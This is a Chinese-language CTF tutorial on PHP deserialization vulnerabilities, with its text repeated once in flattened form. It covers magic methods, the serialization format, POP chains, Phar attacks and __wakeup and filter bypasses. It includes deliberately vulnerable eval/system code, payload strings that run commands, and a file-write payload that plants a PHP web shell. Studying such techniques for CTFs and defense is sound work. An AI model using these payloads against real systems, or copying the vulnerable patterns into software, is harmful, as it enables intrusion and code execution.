CTF中的反序列化考点总结从0到1
字数 1766 2025-08-18 17:33:11

PHP反序列化漏洞从0到1全面指南

一、PHP类和对象基础

1. 基本概念

  • :对一类事物的抽象概念(如"汽车")
  • 对象:类的具体实例(如"我的宝马")
  • 创建类:使用class关键字
class Car {
    // 类内容
}

2. 类成员

  • 成员属性:类中定义的变量
  • 方法:类中定义的函数
  • 成员常量

3. 访问权限

权限 说明 外部访问 类内部访问 被继承
public 公有
protected 受保护 ×
private 私有 × ×

二、PHP魔术方法

1. 常用魔术方法

方法 触发条件 参数 说明
__construct() 实例化时 任意 构造函数
__destruct() 对象销毁时 析构函数
__wakeup() 反序列化前 反序列化预处理
__sleep() 序列化前 返回需序列化的属性数组
__toString() 对象被当作字符串 需有返回值
__invoke() 对象被当作函数 对象函数式调用
__get() 访问不可见属性 属性名 属性不存在/不可访问
__set() 设置不可见属性 属性名,值 属性不存在/不可访问
__call() 调用不存在方法 方法名,参数数组 方法不存在
__callStatic() 调用不存在静态方法 方法名,参数数组 静态方法不存在

三、序列化与反序列化

1. 序列化格式

O:4:"Demo":3:{s:4:"name";s:5:"x1ong";s:3:"age";i:18;s:7:"address";s:2:"HN";}
  • O:对象
  • 4:类名长度
  • "Demo":类名
  • 3:属性数量
  • {}:属性键值对

2. 不同访问权限的序列化表现

  • public:属性名不变
  • protected:属性名前加\x00*\x00
  • private:属性名前加\x00类名\x00

3. 反序列化漏洞原理

当反序列化字符串可控且未过滤时,可反序列化任意类对象,控制其属性值,进而执行危险操作。

四、漏洞利用技巧

1. 基本利用步骤

  1. 寻找可控的unserialize()参数
  2. 寻找包含__wakeup__destruct的目标类
  3. 分析属性调用链,找到可控属性
  4. 构造序列化字符串发起攻击

2. 示例漏洞代码

class Execute {
    public $cmd;
    function displayInfo() {
        eval($this->cmd);
    }
}
$obj = unserialize($_GET['word']);
$obj->displayInfo();

3. 构造EXP

class Execute {
    public $cmd = "system('whoami');";
}
echo serialize(new Execute);
// O:7:"Execute":1:{s:3:"cmd";s:17:"system('whoami');";}

五、高级利用技术

1. POP链构造

通过魔术方法多次跳转调用危险方法:

class A {
    function __destruct() {
        $this->obj->action();
    }
}
class B {
    function action() {
        system($this->cmd);
    }
}
// 构造链:A->B

2. 字符逃逸

通过不等长字符串替换造成序列化数据错乱:

  • 长到短\0\0\0(6位) → \0*\0(3位)
  • 短到长\0*\0(3位) → \0\0\0(6位)

3. Phar反序列化

利用Phar文件的metadata进行反序列化:

  1. 构造恶意Phar文件
  2. 通过文件操作函数触发
  3. 常用触发函数:file_get_contents()unlink()

4. 指针引用

使两个属性值始终相等:

class Flag {
    public $t1;
    public $t2;
    function __construct() {
        $this->t1 = &$this->t2;
    }
}

六、绕过技术

1. 关键字过滤绕过

使用S类型和十六进制编码:

// 原始:flag.php
// 编码后:\66\6c\61\67\2e\70\68\70
O:3:"BUU":1:{s:4:"file";S:8:"\66\6c\61\67\2e\70\68\70";}

2. __wakeup绕过

CVE-2016-7124:当属性数目大于实际数目时

// 原始:O:4:"Demo":1:{s:4:"name";s:5:"x1ong";}
// 绕过:O:4:"Demo":2:{s:4:"name";s:5:"x1ong";}

3. 快速析构

通过畸形序列化字符串提前触发__destruct

// 删除闭合}或修改属性数量
O:4:"Demo":1:{s:4:"name";s:5:"x1ong"

4. PHP7.1+属性不敏感

PHP7.1以上版本对属性权限不敏感,可忽略protected/private前缀

七、防御措施

  1. 避免反序列化用户可控数据
  2. 使用json_encode()/json_decode()替代
  3. 实施严格的输入验证
  4. 使用签名验证序列化数据
  5. 限制反序列化类白名单

八、实战案例

1. 基础反序列化

class vul {
    public $cmd = 'ls';
    function __wakeup() {
        system($this->cmd);
    }
}
// EXP: O:3:"vul":1:{s:3:"cmd";s:6:"whoami";}

2. 文件写入

class vul {
    public $filename = 'test.txt';
    public $content = 'flag';
    function __wakeup() {
        file_put_contents($this->filename, $this->content);
    }
}
// EXP: O:3:"vul":2:{s:8:"filename";s:9:"shell.php";s:7:"content";s:28:"<?php eval($_REQUEST[0]);?>";}

3. Phar反序列化

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($object);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

通过本指南,您应该已经掌握了PHP反序列化漏洞从基础到高级的全面知识,包括原理、利用技术和防御措施。在实际应用中,请务必遵守法律法规,仅用于授权测试和安全研究目的。

PHP反序列化漏洞从0到1全面指南 一、PHP类和对象基础 1. 基本概念 类 :对一类事物的抽象概念(如"汽车") 对象 :类的具体实例(如"我的宝马") 创建类:使用 class 关键字 2. 类成员 成员属性 :类中定义的变量 方法 :类中定义的函数 成员常量 3. 访问权限 | 权限 | 说明 | 外部访问 | 类内部访问 | 被继承 | |------|------|---------|-----------|-------| | public | 公有 | √ | √ | √ | | protected | 受保护 | × | √ | √ | | private | 私有 | × | √ | × | 二、PHP魔术方法 1. 常用魔术方法 | 方法 | 触发条件 | 参数 | 说明 | |------|---------|------|------| | __construct() | 实例化时 | 任意 | 构造函数 | | __destruct() | 对象销毁时 | 无 | 析构函数 | | __wakeup() | 反序列化前 | 无 | 反序列化预处理 | | __sleep() | 序列化前 | 无 | 返回需序列化的属性数组 | | __toString() | 对象被当作字符串 | 无 | 需有返回值 | | __invoke() | 对象被当作函数 | 无 | 对象函数式调用 | | __get() | 访问不可见属性 | 属性名 | 属性不存在/不可访问 | | __set() | 设置不可见属性 | 属性名,值 | 属性不存在/不可访问 | | __call() | 调用不存在方法 | 方法名,参数数组 | 方法不存在 | | __callStatic() | 调用不存在静态方法 | 方法名,参数数组 | 静态方法不存在 | 三、序列化与反序列化 1. 序列化格式 O :对象 4 :类名长度 "Demo" :类名 3 :属性数量 {} :属性键值对 2. 不同访问权限的序列化表现 public :属性名不变 protected :属性名前加 \x00*\x00 private :属性名前加 \x00类名\x00 3. 反序列化漏洞原理 当反序列化字符串可控且未过滤时,可反序列化任意类对象,控制其属性值,进而执行危险操作。 四、漏洞利用技巧 1. 基本利用步骤 寻找可控的 unserialize() 参数 寻找包含 __wakeup 或 __destruct 的目标类 分析属性调用链,找到可控属性 构造序列化字符串发起攻击 2. 示例漏洞代码 3. 构造EXP 五、高级利用技术 1. POP链构造 通过魔术方法多次跳转调用危险方法: 2. 字符逃逸 通过不等长字符串替换造成序列化数据错乱: 长到短 : \0\0\0 (6位) → \0*\0 (3位) 短到长 : \0*\0 (3位) → \0\0\0 (6位) 3. Phar反序列化 利用Phar文件的metadata进行反序列化: 构造恶意Phar文件 通过文件操作函数触发 常用触发函数: file_get_contents() 、 unlink() 等 4. 指针引用 使两个属性值始终相等: 六、绕过技术 1. 关键字过滤绕过 使用 S 类型和十六进制编码: 2. __wakeup 绕过 CVE-2016-7124:当属性数目大于实际数目时 3. 快速析构 通过畸形序列化字符串提前触发 __destruct : 4. PHP7.1+属性不敏感 PHP7.1以上版本对属性权限不敏感,可忽略protected/private前缀 七、防御措施 避免反序列化用户可控数据 使用 json_encode() / json_decode() 替代 实施严格的输入验证 使用签名验证序列化数据 限制反序列化类白名单 八、实战案例 1. 基础反序列化 2. 文件写入 3. Phar反序列化 通过本指南,您应该已经掌握了PHP反序列化漏洞从基础到高级的全面知识,包括原理、利用技术和防御措施。在实际应用中,请务必遵守法律法规,仅用于授权测试和安全研究目的。